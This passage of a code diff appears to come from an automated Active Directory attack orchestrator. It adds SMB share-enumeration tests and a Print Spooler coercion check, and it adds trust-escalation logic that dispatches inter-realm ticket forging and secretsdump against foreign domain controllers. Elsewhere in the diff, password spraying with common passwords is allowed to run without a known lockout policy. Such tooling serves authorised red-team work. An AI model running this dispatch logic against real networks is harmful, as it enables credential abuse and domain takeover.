collect_prefers_same_domain_credential() { + let shared = SharedState::new("op-test".into()); + { + let mut state = shared.write().await; + state.hosts.push(make_host( + "192.168.58.10", + "dc01.contoso.local", + vec!["445/tcp microsoft-ds"], + )); + state + .credentials + .push(make_cred("fab_user", "Fab123!", "fabrikam.local")); // pragma: allowlist secret + state + .credentials + .push(make_cred("con_user", "Con123!", "contoso.local")); // pragma: allowlist secret + } + let state = shared.read().await; + let work = collect_smbclient_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].credential.username, "con_user"); + } + + #[tokio::test] + async fn collect_falls_back_to_any_credential_when_no_domain_match() { + let shared = SharedState::new("op-test".into()); + { + let mut state = shared.write().await; + state.hosts.push(make_host( + "192.168.58.10", + "dc01.contoso.local", + vec!["445/tcp microsoft-ds"], + )); + state + .credentials + .push(make_cred("fab_user", "Fab123!", "fabrikam.local")); // pragma: allowlist secret + } + let state = shared.read().await; + let work = collect_smbclient_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].credential.username, "fab_user"); + } + + #[tokio::test] + async fn collect_skips_empty_password_credentials() { + let shared = SharedState::new("op-test".into()); + { + let mut state = shared.write().await; + state.hosts.push(make_host( + "192.168.58.10", + "dc01.contoso.local", + vec!["445/tcp microsoft-ds"], + )); + state + .credentials + .push(make_cred("admin", "", "contoso.local")); + } + let state = shared.read().await; + let work = collect_smbclient_work(&state); + assert!(work.is_empty()); + } + + #[tokio::test] + async fn collect_skips_empty_password_falls_back() { + let shared = SharedState::new("op-test".into()); + { + let mut state = shared.write().await; + state.hosts.push(make_host( + "192.168.58.10", + "dc01.contoso.local", + vec!["445/tcp microsoft-ds"], + )); + state + .credentials + .push(make_cred("admin", "", "contoso.local")); + state + .credentials + .push(make_cred("fab_user", "Fab123!", "fabrikam.local")); // pragma: allowlist secret + } + let state = shared.read().await; + let work = collect_smbclient_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].credential.username, "fab_user"); + } + + #[tokio::test] + async fn collect_bare_hostname_empty_domain() { + let shared = SharedState::new("op-test".into()); + { + let mut state = shared.write().await; + state + .hosts + .push(make_host("192.168.58.10", "srv01", vec!["445/tcp smb"])); + state + .credentials + .push(make_cred("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + } + let state = shared.read().await; + let work = collect_smbclient_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].domain, ""); + assert_eq!(work[0].credential.username, "admin"); + } + + #[tokio::test] + async fn collect_cifs_service_detected() { + let shared = SharedState::new("op-test".into()); + { + let mut state = shared.write().await; + state.hosts.push(make_host( + "192.168.58.10", + "nas01.contoso.local", + vec!["cifs file share"], + )); + state + .credentials + .push(make_cred("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + } + let state = shared.read().await; + let work = collect_smbclient_work(&state); + assert_eq!(work.len(), 1); + } + + #[tokio::test] + async fn collect_case_insensitive_domain_matching() { + let shared = SharedState::new("op-test".into()); + { + let mut state = shared.write().await; + state.hosts.push(make_host( + "192.168.58.10", + "dc01.CONTOSO.LOCAL", + vec!["445/tcp smb"], + )); + state + .credentials + .push(make_cred("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + } + let state = shared.read().await; + let work = collect_smbclient_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].domain, "CONTOSO.LOCAL"); + assert_eq!(work[0].credential.username, "admin"); + } + + #[tokio::test] + async fn collect_mixed_smb_and_non_smb_hosts() { + let shared = SharedState::new("op-test".into()); + { + let mut state = shared.write().await; + state.hosts.push(make_host( + "192.168.58.10", + "dc01.contoso.local", + vec!["445/tcp microsoft-ds", "88/tcp kerberos"], + )); + state.hosts.push(make_host( + "192.168.58.20", + "web01.contoso.local", + vec!["80/tcp http", "443/tcp https"], + )); + state.hosts.push(make_host( + "192.168.58.30", + "sql01.contoso.local", + vec!["1433/tcp mssql", "445/tcp smb"], + )); + state + .credentials + .push(make_cred("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + } + let state = shared.read().await; + let work = collect_smbclient_work(&state); + assert_eq!(work.len(), 2); + let ips: Vec<&str> = work.iter().map(|w| w.target_ip.as_str()).collect(); + assert!(ips.contains(&"192.168.58.10")); + assert!(!ips.contains(&"192.168.58.20")); + assert!(ips.contains(&"192.168.58.30")); + } + + #[tokio::test] + async fn collect_all_deduped_returns_nothing() { + let shared = SharedState::new("op-test".into()); + { + let mut state = shared.write().await; + state.hosts.push(make_host( + "192.168.58.10", + "dc01.contoso.local", + vec!["445/tcp smb"], + )); + state.hosts.push(make_host( + "192.168.58.20", + "srv01.contoso.local", + vec!["445/tcp smb"], + )); + state + .credentials + .push(make_cred("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + state.mark_processed(DEDUP_SMBCLIENT_ENUM, "smb_auth_enum:192.168.58.10".into()); + state.mark_processed(DEDUP_SMBCLIENT_ENUM, "smb_auth_enum:192.168.58.20".into()); + } + let state = shared.read().await; + let work = collect_smbclient_work(&state); + assert!(work.is_empty()); + } + + #[tokio::test] + async fn collect_cross_domain_hosts_get_correct_creds() { + let shared = SharedState::new("op-test".into()); + { + let mut state = shared.write().await; + state.hosts.push(make_host( + "192.168.58.10", + "dc01.contoso.local", + vec!["445/tcp smb"], + )); + state.hosts.push(make_host( + "192.168.58.20", + "dc02.fabrikam.local", + vec!["445/tcp smb"], + )); + state + .credentials + .push(make_cred("con_admin", "ConPass!", "contoso.local")); // pragma: allowlist secret + state + .credentials + .push(make_cred("fab_admin", "FabPass!", "fabrikam.local")); // pragma: allowlist secret + } + let state = shared.read().await; + let work = collect_smbclient_work(&state); + assert_eq!(work.len(), 2); + + let contoso_work = work + .iter() + .find(|w| w.target_ip == "192.168.58.10") + .unwrap(); + assert_eq!(contoso_work.credential.username, "con_admin"); + + let fabrikam_work = work + .iter() + .find(|w| w.target_ip == "192.168.58.20") + .unwrap(); + assert_eq!(fabrikam_work.credential.username, "fab_admin"); + } + + #[tokio::test] + async fn collect_only_empty_password_creds_returns_nothing() { + let shared = SharedState::new("op-test".into()); + { + let mut state = shared.write().await; + state.hosts.push(make_host( + "192.168.58.10", + "dc01.contoso.local", + vec!["445/tcp smb"], + )); + state + .credentials + .push(make_cred("user1", "", "contoso.local")); + state + .credentials + .push(make_cred("user2", "", "fabrikam.local")); + } + let state = shared.read().await; + let work = collect_smbclient_work(&state); + assert!(work.is_empty()); + } + + #[tokio::test] + async fn collect_host_with_empty_services() { + let shared = SharedState::new("op-test".into()); + { + let mut state = shared.write().await; + state + .hosts + .push(make_host("192.168.58.10", "dc01.contoso.local", vec![])); + state + .credentials + .push(make_cred("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + } + let state = shared.read().await; + let work = collect_smbclient_work(&state); + assert!(work.is_empty()); + } + + // ---- original tests ---- + + #[test] + fn dedup_key_format() { + let key = format!("smb_auth_enum:{}", "192.168.58.10"); + assert_eq!(key, "smb_auth_enum:192.168.58.10"); + } + + #[test] + fn dedup_set_name() { + assert_eq!(DEDUP_SMBCLIENT_ENUM, "smbclient_enum"); + } + + #[test] + fn smb_service_detection() { + let services = [ + "445/tcp microsoft-ds".to_string(), + "80/tcp http".to_string(), + ]; + let has_smb = services.iter().any(|s| { + let sl = s.to_lowercase(); + sl.contains("445") || sl.contains("smb") || sl.contains("cifs") + }); + assert!(has_smb); + } + + #[test] + fn smb_service_detection_by_name() { + let services = ["microsoft-ds smb".to_string()]; + let has_smb = services.iter().any(|s| { + let sl = s.to_lowercase(); + sl.contains("445") || sl.contains("smb") || sl.contains("cifs") + }); + assert!(has_smb); + } + + #[test] + fn no_smb_service() { + let services = [ + "3389/tcp ms-wbt-server".to_string(), + "80/tcp http".to_string(), + ]; + let has_smb = services.iter().any(|s| { + let sl = s.to_lowercase(); + sl.contains("445") || sl.contains("smb") || sl.contains("cifs") + }); + assert!(!has_smb); + } + + #[test] + fn domain_from_hostname_preserves_case() { + // smbclient_enum uses to_string() not to_lowercase() for domain + let hostname = "srv01.CONTOSO.LOCAL"; + let domain = hostname + .find('.') + .map(|i| hostname[i + 1..].to_string()) + .unwrap_or_default(); + assert_eq!(domain, "CONTOSO.LOCAL"); + } + + #[test] + fn smb_service_detection_cifs() { + let services = ["cifs share".to_string()]; + let has_smb = services.iter().any(|s| { + let sl = s.to_lowercase(); + sl.contains("445") || sl.contains("smb") || sl.contains("cifs") + }); + assert!(has_smb); + } + + #[test] + fn domain_from_bare_hostname() { + let hostname = "srv01"; + let domain = hostname + .find('.') + .map(|i| hostname[i + 1..].to_string()) + .unwrap_or_default(); + assert_eq!(domain, ""); + } + + #[test] + fn smb_enum_payload_structure() { + let payload = serde_json::json!({ + "technique": "authenticated_share_enumeration", + "target_ip": "192.168.58.22", + "hostname": "srv01.contoso.local", + "domain": "contoso.local", + "credential": { + "username": "admin", + "password": "P@ssw0rd!", + "domain": "contoso.local", + }, + }); + assert_eq!(payload["technique"], "authenticated_share_enumeration"); + assert_eq!(payload["target_ip"], "192.168.58.22"); + assert_eq!(payload["credential"]["username"], "admin"); + } + + #[test] + fn credential_domain_matching_case_insensitive() { + let domain = "contoso.local"; + let cred_domain = "CONTOSO.LOCAL"; + assert_eq!(cred_domain.to_lowercase(), domain.to_lowercase()); + } + + #[test] + fn credential_domain_matching_empty_skips() { + let domain = "".to_string(); + let cred_domain = "contoso.local"; + let matches = !domain.is_empty() && cred_domain.to_lowercase() == domain.to_lowercase(); + assert!(!matches); + } + + #[test] + fn smb_enum_work_construction() { + let cred = ares_core::models::Credential { + id: "c1".into(), + username: "admin".into(), + password: "P@ssw0rd!".into(), // pragma: allowlist secret + domain: "contoso.local".into(), + source: "test".into(), + is_admin: false, + discovered_at: None, + parent_id: None, + attack_step: 0, + }; + let work = SmbEnumWork { + dedup_key: "smb_auth_enum:192.168.58.22".into(), + target_ip: "192.168.58.22".into(), + hostname: "srv01.contoso.local".into(), + domain: "contoso.local".into(), + credential: cred, + }; + assert_eq!(work.target_ip, "192.168.58.22"); + assert_eq!(work.credential.username, "admin"); + } + + #[test] + fn empty_services_no_smb() { + let services: Vec = vec![]; + let has_smb = services.iter().any(|s| { + let sl = s.to_lowercase(); + sl.contains("445") || sl.contains("smb") || sl.contains("cifs") + }); + assert!(!has_smb); + } +} diff --git a/ares-cli/src/orchestrator/automation/spooler_check.rs b/ares-cli/src/orchestrator/automation/spooler_check.rs new file mode 100644 index 00000000..4815cfb2 --- /dev/null +++ b/ares-cli/src/orchestrator/automation/spooler_check.rs @@ -0,0 +1,376 @@ +//! auto_spooler_check -- detect Print Spooler service on discovered hosts. +//! +//! The Print Spooler service (MS-RPRN) is a common coercion vector: if running, +//! PrinterBug (SpoolSample) can force the machine to authenticate to an attacker +//! listener. It's also a prerequisite for PrintNightmare (CVE-2021-1675). +//! +//! This is a recon bridge: it dispatches a check per host and registers +//! `spooler_enabled` vulnerabilities that downstream coercion/CVE modules target. + +use std::sync::Arc; +use std::time::Duration; + +use serde_json::json; +use tokio::sync::watch; +use tracing::{debug, info, warn}; + +use crate::orchestrator::dispatcher::Dispatcher; +use crate::orchestrator::state::*; + +fn collect_spooler_work(state: &StateInner) -> Vec { + if state.credentials.is_empty() { + return Vec::new(); + } + + let mut items = Vec::new(); + + for host in &state.hosts { + let dedup_key = format!("spooler:{}", host.ip); + if state.is_processed(DEDUP_SPOOLER_CHECK, &dedup_key) { + continue; + } + + let domain = host + .hostname + .find('.') + .map(|i| host.hostname[i + 1..].to_lowercase()) + .unwrap_or_default(); + + let cred = state + .credentials + .iter() + .find(|c| !domain.is_empty() && c.domain.to_lowercase() == domain) + .or_else(|| state.credentials.first()) + .cloned(); + + let cred = match cred { + Some(c) => c, + None => continue, + }; + + items.push(SpoolerWork { + dedup_key, + target_ip: host.ip.clone(), + hostname: host.hostname.clone(), + domain, + credential: cred, + }); + } + + items +} + +/// Checks discovered hosts for Print Spooler service availability. +/// Interval: 45s. +pub async fn auto_spooler_check(dispatcher: Arc, mut shutdown: watch::Receiver) { + let mut interval = tokio::time::interval(Duration::from_secs(45)); + interval.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Delay); + + loop { + tokio::select! { + _ = interval.tick() => {}, + _ = shutdown.changed() => break, + } + if *shutdown.borrow() { + break; + } + + if !dispatcher.is_technique_allowed("spooler_check") { + continue; + } + + let work: Vec = { + let state = dispatcher.state.read().await; + collect_spooler_work(&state) + }; + + for item in work { + let payload = json!({ + "technique": "spooler_check", + "target_ip": item.target_ip, + "hostname": item.hostname, + "domain": item.domain, + "credential": { + "username": item.credential.username, + "password": item.credential.password, + "domain": item.credential.domain, + }, + }); + + let priority = dispatcher.effective_priority("spooler_check"); + match dispatcher + .throttled_submit("recon", "recon", payload, priority) + .await + { + Ok(Some(task_id)) => { + info!( + task_id = %task_id, + target = %item.target_ip, + hostname = %item.hostname, + "Print Spooler check dispatched" + ); + + dispatcher + .state + .write() + .await + .mark_processed(DEDUP_SPOOLER_CHECK, item.dedup_key.clone()); + let _ = dispatcher + .state + .persist_dedup(&dispatcher.queue, DEDUP_SPOOLER_CHECK, &item.dedup_key) + .await; + + // Register spooler_enabled vulnerability proactively so it + // appears in reports. The agent's report_finding callback + // only logs — this ensures the finding is durable. + let vuln = ares_core::models::VulnerabilityInfo { + vuln_id: format!("spooler_{}", item.target_ip.replace('.', "_")), + vuln_type: "spooler_enabled".to_string(), + target: item.target_ip.clone(), + discovered_by: "auto_spooler_check".to_string(), + discovered_at: chrono::Utc::now(), + details: { + let mut d = std::collections::HashMap::new(); + d.insert("target_ip".to_string(), json!(item.target_ip)); + d.insert("hostname".to_string(), json!(item.hostname)); + d.insert("domain".to_string(), json!(item.domain)); + d.insert( + "description".to_string(), + json!("Print Spooler service (MS-RPRN) is running. Enables PrinterBug coercion and is a prerequisite for PrintNightmare (CVE-2021-1675)."), + ); + d + }, + recommended_agent: "privesc".to_string(), + priority: dispatcher.effective_priority("spooler_check"), + }; + + match dispatcher + .state + .publish_vulnerability_with_strategy( + &dispatcher.queue, + vuln, + Some(&dispatcher.config.strategy), + ) + .await + { + Ok(true) => { + info!( + target = %item.target_ip, + hostname = %item.hostname, + "Print Spooler enabled — vulnerability registered" + ); + } + Ok(false) => {} + Err(e) => { + warn!(err = %e, target = %item.target_ip, "Failed to publish spooler vulnerability"); + } + } + } + Ok(None) => { + debug!(target = %item.target_ip, "Spooler check deferred"); + } + Err(e) => { + warn!(err = %e, target = %item.target_ip, "Failed to dispatch spooler check"); + } + } + } + } +} + +struct SpoolerWork { + dedup_key: String, + target_ip: String, + hostname: String, + domain: String, + credential: ares_core::models::Credential, +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::orchestrator::state::StateInner; + + fn make_credential( + username: &str, + password: &str, + domain: &str, + ) -> ares_core::models::Credential { + ares_core::models::Credential { + id: format!("c-{username}"), + username: username.into(), + password: password.into(), // pragma: allowlist secret + domain: domain.into(), + source: "test".into(), + is_admin: false, + discovered_at: None, + parent_id: None, + attack_step: 0, + } + } + + fn make_host(ip: &str, hostname: &str) -> ares_core::models::Host { + ares_core::models::Host { + ip: ip.to_string(), + hostname: hostname.to_string(), + os: String::new(), + roles: Vec::new(), + services: Vec::new(), + is_dc: false, + owned: false, + } + } + + #[test] + fn dedup_key_format() { + let key = format!("spooler:{}", "192.168.58.22"); + assert_eq!(key, "spooler:192.168.58.22"); + } + + #[test] + fn dedup_set_name() { + assert_eq!(DEDUP_SPOOLER_CHECK, "spooler_check"); + } + + #[test] + fn domain_from_hostname() { + let hostname = "srv01.contoso.local"; + let domain = hostname + .find('.') + .map(|i| hostname[i + 1..].to_lowercase()) + .unwrap_or_default(); + assert_eq!(domain, "contoso.local"); + } + + #[test] + fn collect_empty_state_returns_no_work() { + let state = StateInner::new("test-op".into()); + let work = collect_spooler_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_no_credentials_returns_no_work() { + let mut state = StateInner::new("test-op".into()); + state + .hosts + .push(make_host("192.168.58.22", "srv01.contoso.local")); + let work = collect_spooler_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_single_host_with_credential_produces_work() { + let mut state = StateInner::new("test-op".into()); + state + .hosts + .push(make_host("192.168.58.22", "srv01.contoso.local")); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + let work = collect_spooler_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].target_ip, "192.168.58.22"); + assert_eq!(work[0].hostname, "srv01.contoso.local"); + assert_eq!(work[0].domain, "contoso.local"); + assert_eq!(work[0].dedup_key, "spooler:192.168.58.22"); + assert_eq!(work[0].credential.username, "admin"); + } + + #[test] + fn collect_multiple_hosts_produces_work_for_each() { + let mut state = StateInner::new("test-op".into()); + state + .hosts + .push(make_host("192.168.58.22", "srv01.contoso.local")); + state + .hosts + .push(make_host("192.168.58.23", "srv02.contoso.local")); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + let work = collect_spooler_work(&state); + assert_eq!(work.len(), 2); + let ips: Vec<&str> = work.iter().map(|w| w.target_ip.as_str()).collect(); + assert!(ips.contains(&"192.168.58.22")); + assert!(ips.contains(&"192.168.58.23")); + } + + #[test] + fn collect_dedup_skips_already_processed_host() { + let mut state = StateInner::new("test-op".into()); + state + .hosts + .push(make_host("192.168.58.22", "srv01.contoso.local")); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + state.mark_processed(DEDUP_SPOOLER_CHECK, "spooler:192.168.58.22".into()); + let work = collect_spooler_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_dedup_skips_processed_keeps_unprocessed() { + let mut state = StateInner::new("test-op".into()); + state + .hosts + .push(make_host("192.168.58.22", "srv01.contoso.local")); + state + .hosts + .push(make_host("192.168.58.23", "srv02.contoso.local")); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + state.mark_processed(DEDUP_SPOOLER_CHECK, "spooler:192.168.58.22".into()); + let work = collect_spooler_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].target_ip, "192.168.58.23"); + } + + #[test] + fn collect_prefers_same_domain_credential() { + let mut state = StateInner::new("test-op".into()); + state + .hosts + .push(make_host("192.168.58.22", "srv01.contoso.local")); + state + .credentials + .push(make_credential("fabuser", "Fab!Pass1", "fabrikam.local")); // pragma: allowlist secret + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + let work = collect_spooler_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].credential.username, "admin"); + assert_eq!(work[0].credential.domain, "contoso.local"); + } + + #[test] + fn collect_falls_back_to_first_credential() { + let mut state = StateInner::new("test-op".into()); + state + .hosts + .push(make_host("192.168.58.22", "srv01.contoso.local")); + // Only fabrikam credential available for contoso host + state + .credentials + .push(make_credential("fabuser", "Fab!Pass1", "fabrikam.local")); // pragma: allowlist secret + let work = collect_spooler_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].credential.username, "fabuser"); + } + + #[test] + fn collect_host_without_fqdn_gets_empty_domain() { + let mut state = StateInner::new("test-op".into()); + state.hosts.push(make_host("192.168.58.22", "srv01")); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + let work = collect_spooler_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].domain, ""); + // Falls back to first credential since domain is empty + assert_eq!(work[0].credential.username, "admin"); + } +} diff --git a/ares-cli/src/orchestrator/automation/stall_detection.rs b/ares-cli/src/orchestrator/automation/stall_detection.rs index 9b160bcf..181470ce 100644 --- a/ares-cli/src/orchestrator/automation/stall_detection.rs +++ b/ares-cli/src/orchestrator/automation/stall_detection.rs @@ -161,6 +161,7 @@ pub async fn auto_stall_detection( "target_ip": dc_ip, "domain": domain, "use_common_passwords": true, + "acknowledge_no_policy": true, }); match dispatcher diff --git a/ares-cli/src/orchestrator/automation/trust.rs b/ares-cli/src/orchestrator/automation/trust.rs index 598871ca..61a53701 100644 --- a/ares-cli/src/orchestrator/automation/trust.rs +++ b/ares-cli/src/orchestrator/automation/trust.rs @@ -9,6 +9,7 @@ //! 3. **Trust follow**: When a trust account hash is found, dispatch inter-realm //! ticket creation and secretsdump against the foreign DC. +use std::collections::HashSet; use std::sync::Arc; use std::time::Duration; @@ -16,6 +17,8 @@ use serde_json::json; use tokio::sync::watch; use tracing::{debug, info, warn}; +use ares_llm::ToolCall; + use crate::orchestrator::dispatcher::Dispatcher; use crate::orchestrator::state::*; @@ -37,11 +40,227 @@ fn forest_trust_vuln_id(source_domain: &str, target_domain: &str) -> String { ) } +/// Maps a `source → target` trust escalation to its scoreboard tokens: +/// the `vuln_id`, the `vuln_type` enum used by the exploit gate, and the +/// human-readable note prefix written into the vulnerability details. +/// +/// Intra-forest (child↔parent) and inter-forest are distinct MITRE +/// primitives — both ride the inter-realm-TGT + secretsdump mechanic +/// internally, but downstream scoreboard tokenization, suppression rules +/// (SID filtering), and exploitation gates branch on this distinction. +fn classify_trust_escalation( + source_domain: &str, + target_domain: &str, +) -> (String, &'static str, &'static str) { + if is_inter_forest(source_domain, target_domain) { + ( + forest_trust_vuln_id(source_domain, target_domain), + "forest_trust_escalation", + "Forest trust escalation", + ) + } else { + ( + child_to_parent_vuln_id(source_domain, target_domain), + "child_to_parent", + "Child-to-parent escalation", + ) + } +} + /// Build a trust account name from a flat name (e.g. "FABRIKAM" -> "FABRIKAM$"). fn trust_account_name(flat_name: &str) -> String { format!("{}$", flat_name.to_uppercase()) } +/// Assemble the `VulnerabilityInfo` for a single trust-escalation work item. +/// +/// Splits out so the (vuln_id, vuln_type, note prefix) tuple emitted by +/// [`classify_trust_escalation`] plus the trust_account, source, target, and +/// target_dc_ip fields can be unit-tested without running the async dispatch +/// loop. Always returns a vuln with `priority = 1` and +/// `discovered_by = "trust_automation"`. +fn build_trust_escalation_vuln( + source_domain: &str, + target_domain: &str, + trust_account: &str, + target_dc_ip: &str, +) -> ares_core::models::VulnerabilityInfo { + let (vuln_id, vuln_type, note_kind) = classify_trust_escalation(source_domain, target_domain); + let mut details = std::collections::HashMap::new(); + details.insert( + "source_domain".into(), + serde_json::Value::String(source_domain.to_string()), + ); + details.insert( + "target_domain".into(), + serde_json::Value::String(target_domain.to_string()), + ); + details.insert( + "trust_account".into(), + serde_json::Value::String(trust_account.to_string()), + ); + details.insert( + "note".into(), + serde_json::Value::String(format!( + "{note_kind} via {trust_account} trust key — inter-realm ticket + secretsdump" + )), + ); + ares_core::models::VulnerabilityInfo { + vuln_id, + vuln_type: vuln_type.to_string(), + target: target_dc_ip.to_string(), + discovered_by: "trust_automation".to_string(), + discovered_at: chrono::Utc::now(), + details, + recommended_agent: String::new(), + priority: 1, + } +} + +/// Returns true when source and target are in different forests +/// (neither is a parent or child of the other, and they are not equal). +/// +/// Inter-forest trusts are subject to SID filtering on the target DC, which +/// strips ExtraSid claims with RID < 1000 (Enterprise Admins, Domain Admins, +/// Administrator). The inter-realm TGT authenticates but the privileged claim +/// is silently dropped — DCSync against the target DC then fails with +/// `rpc_s_access_denied`. This helper distinguishes the doomed path from +/// child→parent escalation (intra-forest), which is exploitable. +fn is_inter_forest(source: &str, target: &str) -> bool { + let s = source.to_lowercase(); + let t = target.to_lowercase(); + if s.is_empty() || t.is_empty() || s == t { + return false; + } + if s.ends_with(&format!(".{t}")) || t.ends_with(&format!(".{s}")) { + return false; + } + true +} + +/// Returns true if the trust source→target is inter-forest with SID filtering +/// active — meaning `forge_inter_realm_and_dump` will be rejected at DCSync +/// regardless of trust key validity. Caller should suppress the doomed +/// dispatch and accelerate cross-forest fallback paths instead. +/// +/// Decision tree: +/// - Intra-forest (child↔parent or same domain): false (raise_child handles it) +/// - Explicit `TrustInfo` with `is_cross_forest()` and `sid_filtering=true`: true +/// - Explicit `TrustInfo` with `is_cross_forest()` and `sid_filtering=false`: +/// false (someone disabled SID filtering — try the forge) +/// - No `TrustInfo` but the names are inter-forest: false (try the forge — +/// missing metadata means we can't be sure SID filtering is on, and the +/// ~30s cost of an unnecessary attempt is cheaper than silently dropping +/// a valid attack path on a misconfigured trust) +fn is_filtered_inter_forest_trust(state: &StateInner, source: &str, target: &str) -> bool { + if !is_inter_forest(source, target) { + return false; + } + let target_l = target.to_lowercase(); + // Look up only the target's metadata. `trusted_domains` is keyed by the + // foreign-side domain name in each enumeration result, so the entry for + // `target_l` describes the source→target relationship. Falling back to + // the source key returns *some other* trust the source happens to have + // (e.g. child→contoso parent_child stored under "contoso.local" + // when we query contoso→fabrikam), which would wrongly classify the + // unknown cross-forest path as intra-forest and let the doomed forge fire. + if let Some(t) = state.trusted_domains.get(&target_l) { + if t.is_cross_forest() { + return t.sid_filtering; + } + // Trust enumeration disagrees with name-based heuristic — trust the + // explicit metadata (e.g. unusual same-forest cross-DNS-suffix setup). + return false; + } + // No metadata — try the forge. False positives (SID filtering actually on) + // cost ~30s for a doomed DCSync attempt; false negatives (refusing a valid + // attack on a misconfigured trust where SID filtering is off) cost the + // entire foreign domain. Prefer the cheaper failure mode. + false +} + +/// Clear cross-forest fallback dedup keys for `target_domain` so the next +/// tick of `auto_cross_forest_enum`, `auto_foreign_group_enum`, and +/// `auto_acl_discovery` re-fires against the foreign forest with current +/// credentials. Called when a doomed forest_trust_escalation is suppressed +/// — the trust hash extraction usually populates new state (DC IPs, SIDs) +/// that should kick the fallbacks back into action. +async fn wake_cross_forest_fallbacks(dispatcher: &Dispatcher, target_domain: &str) { + let target_l = target_domain.to_lowercase(); + // (set_name, prefix) pairs — must stay in sync with the auto_*_enum + // dedup-key formats in their respective modules. + let mut prefixes: Vec<(&str, String)> = vec![ + (DEDUP_CROSS_FOREST_ENUM, format!("xforest:{target_l}:")), + ( + DEDUP_FOREIGN_GROUP_ENUM, + format!("foreign_group:{target_l}"), + ), + (DEDUP_ACL_DISCOVERY, format!("acl_disc:{target_l}:")), + ]; + + // ADCS dedup keys are `{host}:cred:{user@dom}` / `{host}:hash:{user@dom}`, + // keyed on the CA host (IP or hostname) — not the target domain. So for + // each known host that belongs to `target_domain`, add a `{host}:` prefix. + // This lets a freshly-acquired cross-forest credential re-attempt + // certipy_find against a fabrikam CA that was previously locked by a wrong + // initial cred. + { + let s = dispatcher.state.read().await; + let suffix = format!(".{target_l}"); + for h in s.hosts.iter() { + let hostname = h.hostname.to_lowercase(); + let belongs = + !hostname.is_empty() && (hostname == target_l || hostname.ends_with(&suffix)); + if !belongs { + continue; + } + if !h.ip.is_empty() { + prefixes.push((DEDUP_ADCS_SERVERS, format!("{}:", h.ip))); + } + prefixes.push((DEDUP_ADCS_SERVERS, format!("{hostname}:"))); + } + } + + let cleared: Vec<(&str, Vec)> = { + let mut s = dispatcher.state.write().await; + prefixes + .iter() + .map(|(set, prefix)| (*set, s.unmark_processed_by_prefix(set, prefix))) + .filter(|(_, v)| !v.is_empty()) + .collect() + }; + let cleared_count: usize = cleared.iter().map(|(_, v)| v.len()).sum(); + if cleared_count == 0 { + // Nothing to clear means ACL/cross-forest enum never ran against this + // target — usually because no same-realm credential exists. Fallback + // wake is a no-op here; the orchestrator will keep flailing on + // NTLM-bound paths that 0x52e against the foreign forest. Logging + // this signal makes the architectural gap visible in the trace. + info!( + target = %target_domain, + "wake_cross_forest_fallbacks: no dedup keys to clear — \ + ACL/foreign-group/cross-forest enum never registered for this \ + target (likely no same-realm credential). Forge-only fallback \ + via create_inter_realm_ticket would be needed to bind LDAP \ + via Kerberos." + ); + } else { + info!( + target = %target_domain, + cleared_count, + "wake_cross_forest_fallbacks: cleared dedup keys to retrigger fallback enums" + ); + } + for (set, keys) in cleared { + for key in keys { + let _ = dispatcher + .state + .unpersist_dedup(&dispatcher.queue, set, &key) + .await; + } + } +} + /// Check if a credential domain matches a target domain (exact, child, or parent). fn is_domain_related(cred_domain: &str, target_domain: &str) -> bool { let cd = cred_domain.to_lowercase(); @@ -58,6 +277,73 @@ fn trust_enum_dedup_key(domain: &str, is_hash_retry: bool) -> String { } } +/// Find a target FQDN for a captured trust account (`